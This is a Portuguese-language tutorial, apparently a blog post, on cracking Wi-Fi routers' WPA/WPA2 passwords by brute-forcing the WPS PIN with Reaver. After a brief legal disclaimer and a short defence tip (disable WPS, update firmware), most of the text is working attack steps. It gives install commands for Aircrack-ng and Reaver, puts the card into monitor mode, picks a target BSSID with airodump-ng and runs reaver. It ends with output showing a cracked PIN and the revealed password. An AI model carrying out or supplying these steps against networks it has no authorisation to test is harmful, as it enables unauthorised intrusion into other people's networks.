Sobre o Reaver
Considerações iniciais
A finalidade deste artigo, é apenas didática. Como todos aqui sabem, invasão é crime e o autor pode responder e pegar até 1 ano de prisão (mais detalhes aqui).
Todos os testes foram feitos em minha rede particular. Não me responsabilizo pelo mau uso do mesmo.
Utilizei o Ubuntu 13.10.
O que é Reaver?
Reaver é uma ferramenta que pode ser utilizada para explorar uma
vulnerabilidade do protocolo WPS, utilizado pelas chaves do tipo WPA e WPA2, a fim de resgatar a senha configurada no aparelho roteador.
Ele realiza um ataque de brute force sobre o código PIN do roteador que é composto por 8 caracteres numéricos, onde o último é apenas um dígito de validação composto pela soma dos primeiros.
O PIN code é uma identificação numérica do router. Informando esse código corretamente para o roteador, ele informa qual a senha e SSID configurados no equipamento, ou seja, o ataque consiste em capturarmos o PIN code para depois obtermos a senha, independente de sua complexidade.
A falha no protocolo WPS e a consequente redução de possibilidades numéricas, torna possível recuperar a senha entre 4 e 10 horas, após um certo número de combinações do código PIN.
Se o ataque de força bruta fosse aplicado diretamente sobre a senha, dependendo de sua complexidade, poderia demorar semanas, até que a senha fosse quebrada, isso se ela existir em seu dicionário. Neste caso, como o ataque é feito no PIN code, a complexidade da senha não interfere no tempo de resposta do resultado final.
Método de defesa
A melhor contramedida que pode ser adotada para evitar este tipo de ataque, é desabilitar o protocolo WPS ou utilizar firmwares atualizados que limitem as mensagens trocadas entre o AP e os destinatários, bloqueando a troca de pacotes após um certo número de tentativas.
Instalação
Instalando libs:
$ sudo apt-get update
$ sudo apt-get install build-essential
$ sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev libpcap0.8 libsqlite3-0
$ sudo apt-get install libssl-dev # Usado pelo Aircrack-ng
Instalando Aircrack-ng:
O Aircrack-ng será utilizado para manipular a placa de rede Wi-Fi e identificar o BSSID alvo.
$ sudo apt-get install aircrack-ng
Caso não exista no repositório, será necessário seguir os seguintes passos:
$ wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
$ tar -zxvf aircrack-ng-1.1.tar.gz
Edite o arquivo common.mak:
$ vi aircrack-ng-1.1/common.mak
Ache a linha abaixo:
CFLAGS ?= -g -W -Wall -Werror -O3
Remova -Werror, conforme abaixo:
Salve o arquivo, monte o pacote e instale:
$ make
$ sudo make install
Instalando o Reaver
$ sudo apt-get install reaver
Caso não exista no repositório, será necessário seguir os seguintes passos:
$ wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
$ tar -xzvf reaver-1.4.tar.gz
$ cd reaver-1.4
$ cd src
$ ./configure
$ make
$ sudo make install
Para conferir se foi instalado:
$ which reaver
O resultado será:
/usr/local/bin/reaver
Tudo pronto para iniciar o ataque.
Ataque
Preparando o ataque:
- Colocar a placa de rede Wi-Fi em modo monitor com o Aircrack-ng.
- Identificar o alvo (capturar o BSSID do router alvo, utilizando também o Aircrack-ng).
- Atacar (Reaver).
Para isso, seguir os passos abaixo:
Encontre o sua interface Wi-Fi:
$ iwconfig
Você verá o nome da interface de rede sem fio, por exemplo wlan0.
Coloque sua placa Wireless em modo monitor:
$ sudo airmon-ng start wlan0
Monitor mode enabled on → que muito provavelmente será mon0.
Encontre o BSSID do roteador que você quer crackear:
$ sudo airodump-ng mon0
BSSID é o MAC address do roteador.
A rede deve ter WPA ou WPA2 listado na coluna ENC.
Ataque:
$ sudo reaver -i mon0 -b 00:00:00:00:00:00 -vv
Onde:
- -i :: interface
- -b :: BSSID (substituir o “00:00:00:00:00:00” pelo alvo)
- -vv :: verbose (mostrar mensagens)
Deixe disparando e aguarde o resultado que será semelhante ao da imagem:
No meu caso, a senha foi quebrada em apenas 2 horas:
Pin cracked in 7302 seconds
WPS PIN: ‘10179178’ (pin code do roteador)
WPA PSK: ’79ri7gse6.c’ (senha revelada!)
AP SSID: GENTIL